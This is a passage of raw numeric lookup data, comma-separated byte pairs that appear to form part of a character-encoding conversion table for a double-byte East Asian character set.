0,0,0,0,0,0,0,0,75,205,207,225,76,205,206,225,
0,0,0,0,0,0,0,0,0,0,214,177,0,0,0,0,
0,0,0,0,0,0,215,225,232,200,209,225,77,205,211,225,
0,0,0,0,213,225,190,191,78,205,0,0,214,225,212,225,
192,188,79,205,80,205,81,205,208,225,210,225,82,205,194,201,
83,205,201,190,0,0,0,0,217,225,0,0,84,205,216,225,
85,205,86,205,0,0,0,0,218,225,0,0,166,188,175,186,
0,0,87,205,247,197,219,225,0,0,203,196,88,205,0,0,
221,225,89,205,90,205,91,205,161,206,220,225,92,205,0,0,
0,0,93,205,0,0,233,193,0,0,0,0,94,205,0,0,
95,205,96,205,226,225,97,205,228,225,229,225,212,195,0,0,
0,0,0,0,0,0,98,205,227,225,0,0,224,225,0,0,
222,225,223,225,99,205,225,225,100,205,101,205,102,205,0,0,
0,0,103,205,104,205,232,225,105,205,230,225,106,205,231,225,
0,0,107,205,0,0,0,0,108,205,109,205,0,0,110,205,
111,205,0,0,0,0,112,205,0,0,113,205,114,205,115,205,
116,205,233,225,235,225,236,225,237,225,117,205,238,225,118,205,
119,205,234,225,0,0,120,205,0,0,0,0,0,0,121,205,
0,0,0,0,240,225,0,0,122,205,123,205,239,225,124,205,
0,0,0,0,125,205,126,205,33,206,241,225,34,206,0,0,
0,0,0,0,36,206,37,206,197,206,38,206,39,206,40,206,
244,225,242,225,243,225,41,206,35,206,42,206,226,180,0,0,
0,0,0,0,0,0,0,0,254,204,0,0,0,0,43,206,
202,202,0,0,246,225,44,206,0,0,0,0,245,225,0,0,
0,0,45,206,0,0,247,225,248,225,0,0,46,206,47,206,
0,0,252,225,249,225,250,225,251,225,0,0,253,225,48,206,
49,206,50,206,254,225,51,206,161,226,0,0,52,206,0,0,
162,226,0,0,163,226,0,0,175,200,208,197,164,226,242,199,
180,201,0,0,165,226,53,206,0,0,166,226,170,197,54,206,
167,179,196,185,167,226,0,0,0,0,168,226,55,206,56,206,
169,226,0,0,169,187,0,0,0,0,171,226,0,0,57,206,
170,226,0,0,0,0,172,226,173,226,58,206,59,206,60,206,
0,0,61,206,62,206,0,0,63,206,64,206,65,206,66,206,
67,206,68,206,69,206,0,0,70,206,0,0,0,0,71,206,
233,200,0,0,174,226,0,0,0,0,0,0,175,226,0,0,
0,0,233,243,176,226,177,226,178,226,0,0,0,0,72,206,
0,0,174,187,0,0,73,206,179,226,214,199,0,0,74,206,
223,203,0,0,206,177,75,206,215,177,76,206,77,206,180,226,
78,206,0,0,0,0,0,0,182,226,0,0,79,206,0,0,
181,226,240,197,0,0,80,206,0,0,185,192,185,221,0,0,
183,226,193,204,81,206,184,226,0,0,198,180,215,200,185,226,
82,206,186,226,83,206,0,0,187,226,0,0,84,206,0,0,
220,204,0,0,85,206,86,206,213,204,0,0,190,196,0,0,
87,206,0,0,234,193,88,206,0,0,189,226,89,206,0,0,
226,189,0,0,90,206,202,190,0,0,0,0,192,226,0,0,
91,206,191,226,190,226,253,200,92,206,199,180,169,184,0,0,
93,206,0,0,0,0,0,0,94,206,0,0,95,206,96,206,
0,0,97,206,0,0,98,206,99,206,198,226,100,206,0,0,
195,226,191,191,178,204,0,0,101,206,0,0,194,226,196,226,
197,226,0,0,102,206,193,226,0,0,0,0,0,0,103,206,
104,206,105,206,0,0,0,0,0,0,0,0,106,206,107,206,
108,206,199,226,200,226,109,206,175,196,0,0,227,180,110,206,
111,206,0,0,229,195,0,0,112,206,0,0,0,0,113,206,
114,206,201,226,0,0,0,0,115,206,0,0,0,0,116,206,
117,206,118,206,0,0,0,0,119,206,0,0,0,0,0,0,
120,206,121,206,0,0,0,0,202,226,205,226,122,206,0,0,
123,206,124,206,125,206,231,191,126,206,196,198,33,207,206,226,
211,203,34,207,203,226,0,0,35,207,204,226,36,207,0,0,
0,0,0,0,37,207,0,0,38,207,39,207,40,207,0,0,
0,0,0,0,0,0,209,226,41,207,0,0,0,0,42,207,
208,226,207,226,43,207,0,0,0,0,0,0,44,207,0,0,
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210,226,0,0,0,0,212,226,0,0,0,0,47,207,48,207,
49,207,0,0,0,0,0,0,50,207,0,0,0,0,0,0,
214,226,51,207,213,226,0,0,52,207,0,0,0,0,205,202,
0,0,53,207,0,0,0,0,54,207,0,0,214,189,198,206,
55,207,56,207,215,226,57,207,0,0,183,198,0,0,58,207,
216,226,0,0,0,0,217,226,0,0,221,226,219,226,220,226,
59,207,218,226,0,0,0,0,0,0,60,207,0,0,0,0,
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0,0,224,226,0,0,65,207,225,226,183,204,226,226,0,0,
66,207,67,207,68,207,0,0,240,204,227,226,69,207,206,195,
70,207,234,199,0,0,235,182,71,207,0,0,72,207,187,195,
228,226,186,182,73,207,74,207,0,0,208,192,75,207,0,0,
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0,0,0,0,0,0,0,0,189,186,0,0,0,0,78,207,
79,207,0,0,0,0,80,207,0,0,0,0,230,226,81,207,
82,207,0,0,0,0,83,207,231,226,0,0,166,184,213,186,
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0,0,0,0,233,226,85,207,86,207,87,207,0,0,214,197,
214,186,206,181,0,0,0,0,0,0,0,0,0,0,88,207,
89,207,0,0,90,207,0,0,164,203,0,0,203,199,91,207,
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0,0,220,185,0,0,0,0,0,0,93,207,94,207,235,226,
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98,207,0,0,0,0,0,0,99,207,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,100,207,203,190,
101,207,0,0,102,207,103,207,0,0,104,207,105,207,0,0,
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108,207,167,184,0,0,0,0,163,200,0,0,237,226,0,0,
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110,207,0,0,0,0,235,184,0,0,0,0,0,0,0,0,
238,226,246,196,0,0,0,0,111,207,0,0,241,226,183,179,
236,226,112,207,0,0,234,200,0,0,176,177,113,207,236,186,
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117,207,118,207,0,0,115,207,0,0,242,226,119,207,0,0,
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0,0,0,0,0,0,0,0,206,179,33,208,251,226,34,208,
250,226,35,208,0,0,167,188,0,0,0,0,0,0,252,226,
247,226,36,208,37,208,38,208,253,226,248,226,39,208,0,0,
40,208,0,0,216,200,246,226,41,208,42,208,249,226,43,208,
44,208,0,0,0,0,0,0,162,227,46,208,0,0,0,0,
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50,208,161,227,225,203,0,0,51,208,0,0,254,226,0,0,
0,0,235,176,0,0,0,0,52,208,53,208,164,227,0,0,
55,208,56,208,0,0,0,0,57,208,58,208,0,0,163,227,
0,0,59,208,54,208,204,190,0,0,0,0,0,0,0,0,
60,208,165,227,0,0,0,0,0,0,0,0,61,208,0,0,
195,193,0,0,62,208,167,227,166,227,0,0,0,0,0,0,
0,0,0,0,0,0,168,227,63,208,0,0,64,208,0,0,
65,208,66,208,67,208,0,0,0,0,0,0,0,0,68,208,
232,226,69,208,0,0,70,208,234,226,170,227,169,227,71,208,
0,0,0,0,0,0,72,208,0,0,0,0,73,208,74,208,
0,0,0,0,0,0,0,0,168,188,75,208,233,206,76,208,
210,188,77,208,171,227,183,183,0,0,0,0,78,208,79,208,
80,208,192,181,167,181,227,187,81,208,82,208,0,0,0,0,
0,0,83,208,180,205,84,208,0,0,177,227,85,208,176,227,
196,193,173,227,86,208,0,0,175,227,87,208,88,208,203,189,
192,191,174,227,172,227,0,0,170,199,0,0,0,0,205,190,
0,0,89,208,188,201,90,208,0,0,91,208,0,0,215,186,
0,0,0,0,0,0,0,0,92,208,0,0,0,0,0,0,
0,0,248,197,0,0,93,208,178,227,94,208,95,208,0,0,
96,208,179,227,201,227,216,182,0,0,0,0,189,207,181,193,
0,0,0,0,0,0,0,0,180,227,97,208,98,208,210,178,
247,196,161,202,0,0,99,208,0,0,100,208,101,208,102,208,
103,208,0,0,104,208,0,0,0,0,105,208,106,208,181,227,
0,0,0,0,0,0,107,208,0,0,0,0,0,0,0,0,
250,181,182,227,108,208,109,208,184,227,110,208,0,0,0,0,
185,227,111,208,169,199,112,208,0,0,186,227,113,208,0,0,
0,0,0,0,114,208,187,227,188,227,115,208,0,0,217,182,
211,178,197,198,168,189,228,187,116,208,0,0,117,208,0,0,
0,0,118,208,119,208,189,227,120,208,169,189,0,0,0,0,
0,0,121,208,0,0,202,178,195,201,0,0,122,208,190,227,
123,208,0,0,235,200,0,0,124,208,0,0,0,0,125,208,
126,208,197,193,33,209,193,227,34,209,194,227,233,199,35,209,
193,191,191,227,0,0,225,195,36,209,37,209,192,227,38,209,
0,0,0,0,206,190,39,209,0,0,0,0,0,0,0,0,
0,0,0,0,40,209,0,0,0,0,220,176,41,209,0,0,
0,0,0,0,169,181,0,0,42,209,43,209,0,0,0,0,
0,0,44,209,195,227,45,209,46,209,248,196,47,209,196,227,
199,192,0,0,0,0,48,209,0,0,0,0,173,204,49,209,
0,0,163,201,197,227,198,227,213,195,50,209,199,206,0,0,
51,209,200,227,199,227,52,209,0,0,0,0,0,0,0,0,
0,0,53,209,0,0,0,0,0,0,54,209,0,0,55,209,
239,188,56,209,57,209,202,227,240,176,0,0,58,209,59,209,
0,0,205,227,60,209,61,209,62,209,203,227,212,178,206,183,
204,227,198,185,242,185,0,0,230,202,206,227,63,209,64,209,
212,203,65,209,66,209,208,227,0,0,0,0,67,209,209,192,
207,177,186,178,172,176,0,0,0,0,0,0,0,0,68,209,
69,209,207,227,0,0,70,209,0,0,0,0,71,209,72,209,
0,0,73,209,74,209,209,227,210,227,247,190,0,0,75,209,
0,0,76,209,0,0,211,227,77,209,207,179,0,0,78,209,
0,0,0,0,213,227,0,0,0,0,0,0,234,183,79,209,
230,181,0,0,80,209,214,227,245,182,0,0,0,0,215,227,
81,209,252,192,82,209,205,198,83,209,224,192,245,186,84,209,
85,209,0,0,216,227,0,0,86,209,87,209,0,0,0,0,
0,0,0,0,88,209,89,209,226,195,235,193,90,209,218,227,
220,227,217,227,219,227,0,0,0,0,0,0,0,0,0,0,
91,209,162,183,92,209,0,0,0,0,93,209,0,0,0,0,
0,0,0,0,0,0,221,227,166,183,0,0,94,209,0,0,
231,181,210,205,223,227,0,0,0,0,95,209,0,0,96,209,
224,227,0,0,0,0,97,209,174,177,98,209,99,209,0,0,
0,0,227,227,0,0,0,0,0,0,246,179,226,227,225,227,
100,209,229,227,222,227,101,209,230,227,169,206,102,209,231,227,
103,209,232,227,0,0,104,209,244,212,234,227,0,0,233,227,
0,0,0,0,0,0,235,227,236,227,105,209,181,206,237,227,
0,0,239,240,207,190,238,227,239,227,215,189,0,0,184,198,
240,227,0,0,106,209,107,209,168,195,108,209,109,209,241,227,
0,0,188,195,242,227,110,209,0,0,0,0,111,209,0,0,
165,182,0,0,191,209,221,195,179,188,112,209,0,0,113,209,
114,209,200,180,0,0,0,0,243,227,0,0,162,228,0,0,
246,227,115,209,232,181,0,0,245,227,164,228,0,0,0,0,
0,0,244,227,0,0,208,190,0,0,0,0,116,209,0,0,
0,0,0,0,248,227,249,227,0,0,171,197,0,0,0,0,
250,227,117,209,222,179,0,0,0,0,118,209,0,0,218,191,
228,201,119,209,252,227,120,209,121,209,122,209,232,194,123,209,
124,209,125,209,126,209,33,210,0,0,247,227,34,210,251,227,
253,227,0,0,0,0,251,186,0,0,0,0,0,0,35,210,
0,0,36,210,37,210,38,210,0,0,0,0,0,0,166,228,
174,201,39,210,166,200,249,197,0,0,218,182,165,228,163,228,
40,210,181,200,254,227,222,195,251,197,0,0,250,197,41,210,
246,186,0,0,0,0,0,0,0,0,0,0,0,0,184,228,
0,0,0,0,42,210,0,0,0,0,0,0,43,210,168,228,
44,210,170,228,0,0,45,210,46,210,0,0,173,228,47,210,
174,228,48,210,171,228,172,228,49,210,50,210,169,228,167,228,
0,0,51,210,0,0,0,0,161,228,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,52,210,0,0,
207,202,213,178,0,0,53,210,0,0,181,228,0,0,178,228,
54,210,183,228,55,210,56,210,182,228,0,0,243,199,167,204,
57,210,187,187,176,228,185,228,180,228,58,210,179,228,175,228,
59,210,177,228,60,210,201,180,0,0,0,0,0,0,61,210,
0,0,0,0,0,0,0,0,189,195,0,0,62,210,253,192,
0,0,63,210,64,210,162,200,65,210,0,0,190,228,66,210,
67,210,0,0,164,200,0,0,68,210,69,210,70,210,71,210,
0,0,0,0,225,192,187,228,72,210,0,0,207,200,73,210,
191,228,211,202,74,210,219,195,75,210,186,228,188,228,0,0,
0,0,189,228,0,0,0,0,0,0,0,0,76,210,0,0,
77,210,78,210,0,0,79,210,80,210,81,210,0,0,192,228,
0,0,0,0,196,188,0,0,0,0,0,0,198,198,197,228,
196,228,0,0,82,210,193,228,83,210,0,0,0,0,182,207,
0,0,0,0,0,0,0,0,84,210,202,228,85,210,86,210,
206,228,203,228,87,210,88,210,89,210,0,0,90,210,0,0,
91,210,0,0,199,228,92,210,93,210,94,210,95,210,0,0,
96,210,200,228,0,0,97,210,0,0,98,210,99,210,205,228,
100,210,101,210,0,0,194,228,213,210,201,228,195,228,0,0,
0,0,204,228,0,0,102,210,0,0,103,210,0,0,0,0,
0,0,210,228,104,210,202,180,0,0,207,228,0,0,105,210,
106,210,208,228,107,210,0,0,209,228,212,228,108,210,0,0,
0,0,0,0,0,0,109,210,0,0,110,210,111,210,0,0,
112,210,211,228,246,200,113,210,114,210,0,0,0,0,213,228,
252,206,237,202,218,228,0,0,0,0,215,228,0,0,0,0,
115,210,0,0,0,0,0,0,116,210,0,0,214,228,210,192,
0,0,217,228,219,228,118,210,119,210,120,210,216,228,117,210,
223,228,0,0,220,228,121,210,122,210,123,210,124,210,125,210,
126,210,221,228,198,228,33,211,0,0,34,211,222,228,224,228,
0,0,35,211,0,0,36,211,0,0,0,0,225,228,37,211,
38,211,0,0,39,211,0,0,40,211,198,202,0,0,226,228,
0,0,0,0,0,0,41,211,0,0,0,0,42,211,43,211,
226,204,0,0,0,0,206,182,169,183,227,228,0,0,0,0,
44,211,45,211,0,0,180,202,0,0,232,191,0,0,176,204,
0,0,46,211,228,228,0,0,179,206,0,0,47,211,244,199,
0,0,198,193,180,199,0,0,0,0,205,189,0,0,0,0,
48,211,192,176,49,211,233,228,231,228,0,0,229,228,161,180,
50,211,209,190,234,228,0,0,0,0,232,228,0,0,230,228,
238,228,0,0,51,211,237,228,236,228,235,228,0,0,0,0,
52,211,53,211,0,0,239,228,54,211,55,211,56,211,240,228,
186,192,57,211,241,228,0,0,243,228,0,0,58,211,242,228,
0,0,59,211,60,211,61,211,210,184,0,0,0,0,62,211,
184,193,63,211,0,0,0,0,245,228,64,211,65,211,66,211,
252,197,67,211,244,228,68,211,69,211,0,0,246,228,70,211,
181,202,236,193,199,185,0,0,247,228,0,0,0,0,0,0,
71,211,200,206,0,0,72,211,0,0,73,211,0,0,0,0,
0,0,249,228,0,0,0,0,250,228,0,0,251,228,74,211,
252,228,0,0,229,187,0,0,253,228,207,183,0,0,0,0,
234,181,0,0,170,181,0,0,161,229,75,211,243,204,200,185,
254,228,76,211,77,211,78,211,164,229,230,204,0,0,188,199,
0,0,79,211,179,201,80,211,81,211,82,211,227,189,163,229,
83,211,211,188,201,185,230,187,233,181,182,202,162,229,84,211,
85,211,0,0,199,193,194,203,247,186,86,211,0,0,0,0,
87,211,0,0,0,0,0,0,88,211,231,187,221,196,89,211,
167,229,223,206,217,186,90,211,168,229,194,191,0,0,170,229,
0,0,0,0,0,0,210,190,176,186,0,0,91,211,92,211,
93,211,169,229,94,211,95,211,170,189,190,184,200,193,165,229,
171,229,96,211,97,211,0,0,0,0,166,229,208,183,98,211,
174,229,178,229,235,183,99,211,0,0,100,211,0,0,0,0,
173,229,101,211,0,0,102,211,103,211,182,229,104,211,105,211,
202,185,0,0,0,0,237,205,188,176,179,229,0,0,106,211,
235,181,107,211,176,229,0,0,108,211,0,0,0,0,0,0,
177,229,0,0,109,211,253,197,175,229,172,229,0,0,168,179,
228,192,0,0,110,211,168,184,111,211,112,211,0,0,184,229,
0,0,113,211,0,0,114,211,115,211,116,211,0,0,117,211,
118,211,0,0,119,211,181,229,0,0,120,211,121,211,122,211,
0,0,183,229,0,0,123,211,0,0,180,229,0,0,0,0,
124,211,125,211,0,0,209,183,179,194,185,229,238,193,126,211,
33,212,198,229,0,0,0,0,194,229,188,229,0,0,0,0,
34,212,35,212,0,0,0,0,36,212,192,229,250,188,221,176,
187,229,195,229,199,229,203,185,214,204,37,212,214,196,189,229,
38,212,39,212,197,229,40,212,186,229,190,195,0,0,191,229,
189,176,202,204,0,0,0,0,41,212,42,212,43,212,44,212,
45,212,190,229,0,0,0,0,219,182,236,200,46,212,47,212,
48,212,237,193,0,0,208,206,239,189,0,0,0,0,238,229,
0,0,49,212,200,229,50,212,254,192,0,0,196,229,201,229,
203,229,0,0,249,196,206,229,52,212,0,0,202,229,53,212,
54,212,0,0,212,202,203,180,55,212,56,212,203,204,57,212,
0,0,222,176,0,0,58,212,205,229,0,0,253,206,59,212,
60,212,0,0,0,0,61,212,62,212,204,229,0,0,0,0,
0,0,0,0,51,212,239,177,0,0,0,0,236,198,207,229,
0,0,0,0,63,212,214,229,208,229,215,229,0,0,0,0,
0,0,0,0,64,212,65,212,211,229,0,0,0,0,66,212,
0,0,67,212,0,0,0,0,0,0,251,199,68,212,69,212,
202,188,213,229,70,212,210,229,216,229,209,229,0,0,0,0,
196,189,71,212,72,212,0,0,0,0,165,203,73,212,74,212,
204,189,75,212,0,0,212,229,224,229,76,212,0,0,220,229,
77,212,223,229,0,0,221,229,225,229,219,229,0,0,193,229,
211,192,78,212,0,0,203,200,0,0,222,229,79,212,80,212,
217,229,81,212,0,0,0,0,161,193,210,183,0,0,171,189,
82,212,0,0,83,212,0,0,84,212,0,0,165,191,182,193,
228,229,0,0,85,212,230,229,231,229,0,0,0,0,227,229,
229,229,86,212,0,0,87,212,88,212,0,0,0,0,89,212,
218,229,226,229,0,0,234,229,233,229,90,212,0,0,250,203,
91,212,92,212,171,183,0,0,0,0,93,212,0,0,0,0,
0,0,0,0,94,212,232,229,0,0,236,229,235,229,239,229,
95,212,241,229,0,0,96,212,188,187,237,229,0,0,0,0,
97,212,98,212,242,229,243,229,99,212,0,0,244,229,100,212,
250,229,187,197,246,229,101,212,245,229,247,229,248,229,102,212,
249,229,0,0,103,212,0,0,104,212,251,229,252,229,105,212,
106,212,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
204,180,0,0,253,229,0,0,254,229,108,212,107,212,109,212,
110,212,111,212,0,0,0,0,0,0,112,212,113,212,161,230,
0,0,114,212,0,0,0,0,0,0,0,0,162,230,163,230,
164,230,115,212,165,230,166,230,116,212,117,212,168,230,167,230,
0,0,0,0,169,230,0,0,0,0,118,212,119,212,120,212,
0,0,170,230,171,230,121,212,0,0,122,212,123,212,124,212,
125,212,174,230,172,230,173,230,225,186,211,183,0,0,126,212,
214,195,0,0,179,200,33,213,240,189,0,0,0,0,205,199,
0,0,237,200,175,230,237,216,0,0,0,0,0,0,34,213,
35,213,36,213,37,213,0,0,176,230,178,230,0,0,229,205,
177,230,180,230,179,230,0,0,211,205,38,213,181,230,39,213,
254,200,40,213,41,213,42,213,0,0,0,0,182,230,0,0,
43,213,44,213,0,0,0,0,185,230,0,0,45,213,184,230,
183,230,0,0,0,0,46,213,47,213,186,230,178,183,0,0,
48,213,0,0,162,193,193,181,49,213,0,0,0,0,50,213,
190,230,187,230,0,0,0,0,188,230,0,0,51,213,0,0,
191,230,0,0,192,230,189,230,0,0,0,0,52,213,169,177,
0,0,53,213,54,213,167,178,0,0,55,213,0,0,194,230,
195,230,0,0,56,213,0,0,196,230,0,0,226,205,0,0,
57,213,58,213,0,0,0,0,172,189,0,0,198,230,197,230,
0,0,0,0,0,0,0,0,0,0,59,213,0,0,0,0,
0,0,60,213,233,191,199,230,0,0,61,213,0,0,62,213,
200,230,0,0,63,213,201,230,0,0,229,180,64,213,0,0,
65,213,66,213,205,180,0,0,67,213,202,230,0,0,0,0,
0,0,0,0,0,0,203,230,68,213,221,203,227,205,69,213,
70,213,71,213,212,205,183,207,0,0,205,185,206,230,212,188,
205,230,72,213,73,213,0,0,74,213,207,230,169,188,75,213,
76,213,77,213,209,194,78,213,208,230,79,213,80,213,204,185,
81,213,215,204,209,230,210,230,0,0,0,0,211,230,82,213,
83,213,84,213,85,213,212,230,0,0,0,0,86,213,0,0,
87,213,0,0,213,230,0,0,0,0,0,0,88,213,0,0,
89,213,0,0,90,213,0,0,0,0,170,188,91,213,92,213,
237,204,93,213,0,0,94,213,95,213,215,230,96,213,191,195,
97,213,214,230,98,213,0,0,0,0,0,0,99,213,0,0,
217,230,0,0,0,0,0,0,216,230,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,218,230,0,0,0,0,0,0,
187,192,0,0,219,230,0,0,220,230,0,0,0,0,0,0,
185,202,221,230,100,213,239,193,222,230,0,0,101,213,0,0,
102,213,0,0,223,230,0,0,0,0,0,0,0,0,103,213,
0,0,254,206,226,230,104,213,225,230,224,230,176,196,105,213,
227,230,166,191,0,0,228,230,0,0,0,0,0,0,229,230,
184,207,230,230,0,0,106,213,0,0,0,0,231,230,233,230,
232,230,165,200,107,213,249,198,0,0,190,207,169,200,0,0,
108,213,0,0,0,0,0,0,0,0,235,230,0,0,0,0,
211,190,0,0,170,201,0,0,236,230,234,230,109,213,206,180,
110,213,0,0,0,0,212,184,232,187,0,0,0,0,238,200,
111,213,112,213,0,0,170,184,195,203,113,213,239,230,237,230,
0,0,206,185,0,0,207,185,233,176,0,0,232,186,0,0,
0,0,0,0,114,213,115,213,217,199,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,223,176,244,230,0,0,
192,195,0,0,116,213,0,0,0,0,0,0,216,199,117,213,
219,194,118,213,0,0,0,0,119,213,0,0,120,213,121,213,
246,230,122,213,123,213,242,230,245,230,240,230,0,0,243,230,
166,203,0,0,124,213,213,184,0,0,0,0,253,176,241,230,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,125,213,
126,213,248,230,33,214,249,230,34,214,35,214,185,198,0,0,
36,214,0,0,187,182,37,214,38,214,0,0,166,231,189,199,
39,214,0,0,0,0,0,0,233,187,40,214,0,0,188,182,
200,192,198,207,174,204,247,230,212,192,41,214,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
42,214,43,214,44,214,0,0,211,181,250,230,45,214,0,0,
46,214,0,0,47,214,0,0,0,0,252,230,48,214,0,0,
0,0,49,214,0,0,251,230,0,0,0,0,50,214,0,0,
0,0,253,230,51,214,166,195,0,0,190,199,0,0,52,214,
0,0,0,0,0,0,177,196,53,214,0,0,54,214,0,0,
163,231,0,0,0,0,0,0,0,0,0,0,0,0,55,214,
162,231,56,214,0,0,0,0,57,214,254,230,58,214,0,0,
213,191,0,0,229,201,165,231,59,214,164,231,208,185,211,207,
0,0,60,214,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,181,231,61,214,62,214,0,0,0,0,0,0,169,231,
170,231,63,214,64,214,65,214,0,0,240,188,0,0,66,214,
168,231,67,214,248,185,167,231,0,0,0,0,171,231,0,0,
0,0,68,214,178,196,162,202,163,193,0,0,0,0,0,0,
0,0,220,194,175,231,69,214,176,231,172,231,71,214,72,214,
73,214,0,0,173,231,0,0,174,231,74,214,0,0,0,0,
75,214,209,185,70,214,0,0,0,0,182,231,0,0,178,231,
76,214,0,0,77,214,0,0,230,201,78,214,236,203,168,201,
79,214,0,0,177,231,0,0,80,214,180,231,179,231,0,0,
0,0,0,0,196,203,183,231,0,0,0,0,0,0,0,0,
81,214,0,0,184,231,0,0,82,214,183,193,83,214,185,231,
0,0,0,0,187,231,0,0,191,231,84,214,0,0,188,231,
186,231,191,199,189,231,0,0,190,231,86,214,0,0,87,214,
178,178,0,0,197,231,192,231,88,214,85,214,0,0,193,231,
89,214,90,214,0,0,194,231,0,0,161,194,0,0,91,214,
0,0,92,214,196,231,195,231,198,231,93,214,0,0,94,214,
95,214,199,231,200,231,96,214,0,0,195,191,97,214,233,178,
0,0,201,231,215,206,0,0,171,188,98,214,99,214,173,189,
0,0,0,0,100,214,101,214,102,214,234,187,215,195,103,214,
104,214,0,0,105,214,106,214,202,231,203,231,177,177,107,214,
204,231,108,214,109,214,205,231,206,231,110,214,0,0,207,231,
0,0,208,231,189,182,170,218,209,231,0,0,229,192,210,231,
203,188,111,214,211,231,0,0,176,208,112,214,113,214,0,0,
212,231,222,202,220,180,114,214,115,214,164,193,216,189,116,214,
241,201,174,189,0,0,117,214,118,214,0,0,0,0,0,0,
0,0,0,0,119,214,213,231,210,185,214,231,204,200,0,0,
228,231,0,0,0,0,0,0,120,214,216,231,121,214,201,194,
245,199,191,184,215,231,165,193,122,214,0,0,0,0,0,0,
0,0,0,0,217,231,0,0,0,0,123,214,124,214,125,214,
126,214,250,196,0,0,0,0,0,0,33,215,0,0,0,0,
34,215,35,215,0,0,36,215,0,0,0,0,0,0,0,0,
37,215,0,0,219,231,218,231,221,231,0,0,38,215,220,231,
0,0,222,231,39,215,0,0,224,231,40,215,223,231,0,0,
207,180,41,215,225,231,0,0,226,231,227,231,0,0,42,215,
177,186,201,206,0,0,229,231,167,191,0,0,43,215,0,0,
240,177,230,231,231,231,0,0,0,0,44,215,0,0,45,215,
232,231,46,215,47,215,48,215,0,0,49,215,50,215,0,0,
0,0,51,215,0,0,52,215,53,215,242,176,0,0,233,231,
54,215,0,0,0,0,55,215,234,231,0,0,56,215,0,0,
57,215,0,0,58,215,231,201,59,215,60,215,0,0,199,188,
0,0,236,231,61,215,62,215,0,0,63,215,64,215,169,179,
178,176,65,215,66,215,67,215,68,215,235,231,238,231,206,199,
69,215,196,191,70,215,214,178,71,215,167,203,72,215,0,0,
0,0,73,215,221,183,220,182,74,215,237,231,75,215,234,178,
76,215,77,215,0,0,0,0,0,0,0,0,0,0,163,180,
78,215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,79,215,241,177,242,231,234,206,221,194,80,215,
0,0,196,201,0,0,254,231,81,215,215,178,252,231,0,0,
250,231,241,231,82,215,239,231,83,215,240,231,84,215,227,188,
236,182,247,195,85,215,0,0,86,215,209,198,0,0,87,215,
0,0,88,215,0,0,209,177,0,0,244,231,243,231,0,0,
89,215,90,215,0,0,249,231,245,231,248,231,0,0,91,215,
92,215,0,0,93,215,94,215,208,204,247,231,216,178,253,179,
251,231,95,215,96,215,253,231,97,215,98,215,0,0,0,0,
212,183,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
163,232,172,232,173,232,0,0,0,0,100,215,171,176,101,215,
102,215,103,215,0,0,104,215,105,215,180,232,0,0,0,0,
0,0,0,0,241,176,0,0,0,0,171,232,106,215,107,215,
108,215,170,232,109,215,165,232,164,232,110,215,162,232,161,232,
227,195,111,215,251,194,167,232,112,215,0,0,113,215,114,215,
0,0,0,0,166,232,0,0,115,215,116,215,117,215,169,232,
0,0,118,215,0,0,240,193,213,183,0,0,0,0,119,215,
120,215,193,177,168,232,121,215,211,185,62,216,99,215,122,215,
123,215,124,215,241,193,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,125,215,0,0,0,0,186,232,0,0,187,232,
0,0,217,178,126,215,0,0,0,0,174,178,184,232,33,216,
0,0,34,216,35,216,0,0,36,216,0,0,37,216,174,232,
38,216,182,232,0,0,189,232,183,232,0,0,0,0,39,216,
181,232,0,0,0,0,0,0,40,216,246,231,41,216,42,216,
179,232,0,0,43,216,44,216,175,232,45,216,46,216,47,216,
208,180,177,232,188,232,0,0,178,232,0,0,0,0,0,0,
48,216,49,216,190,232,50,216,176,232,252,199,51,216,76,216,
0,0,0,0,0,0,233,205,0,0,0,0,0,0,185,232,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,207,232,
52,216,53,216,54,216,199,232,0,0,0,0,0,0,251,191,
0,0,55,216,0,0,56,216,198,181,0,0,221,182,0,0,
194,232,57,216,58,216,59,216,0,0,219,178,60,216,0,0,
212,190,0,0,197,232,0,0,0,0,0,0,218,186,61,216,
0,0,209,197,202,232,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,63,216,238,202,64,216,193,232,0,0,0,0,
0,0,218,178,214,184,169,201,203,232,0,0,191,232,0,0,
65,216,200,232,66,216,67,216,0,0,210,232,68,216,195,232,
0,0,0,0,0,0,69,216,0,0,196,232,186,198,0,0,
70,216,201,232,0,0,0,0,71,216,198,232,168,203,204,232,
224,176,72,216,0,0,73,216,0,0,192,232,0,0,74,216,
0,0,0,0,0,0,75,216,0,0,0,0,0,0,0,0,
0,0,0,0,206,232,0,0,205,232,0,0,0,0,0,0,
0,0,0,0,0,0,235,199,212,232,0,0,223,232,0,0,
0,0,77,216,0,0,254,179,0,0,0,0,0,0,226,232,
0,0,0,0,208,232,78,216,0,0,0,0,213,232,238,205,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,79,216,
222,232,80,216,81,216,213,205,82,216,0,0,0,0,83,216,
170,206,84,216,0,0,85,216,86,216,0,0,0,0,0,0,
87,216,248,195,88,216,89,216,90,216,235,179,91,216,0,0,
0,0,0,0,92,216,242,201,228,232,161,198,93,216,94,216,
177,176,95,216,0,0,221,232,96,216,217,232,242,193,211,232,
219,232,224,232,97,216,172,199,0,0,98,216,99,216,170,176,
100,216,216,232,101,216,225,232,248,201,0,0,102,216,103,216,
0,0,0,0,0,0,104,216,220,232,0,0,215,232,105,216,
0,0,0,0,0,0,0,0,0,0,213,190,0,0,0,0,
0,0,0,0,175,189,0,0,106,216,107,216,172,188,108,216,
0,0,0,0,0,0,216,204,0,0,0,0,199,201,0,0,
109,216,231,232,0,0,240,232,0,0,0,0,0,0,0,0,
110,216,0,0,111,216,112,216,113,216,0,0,0,0,218,232,
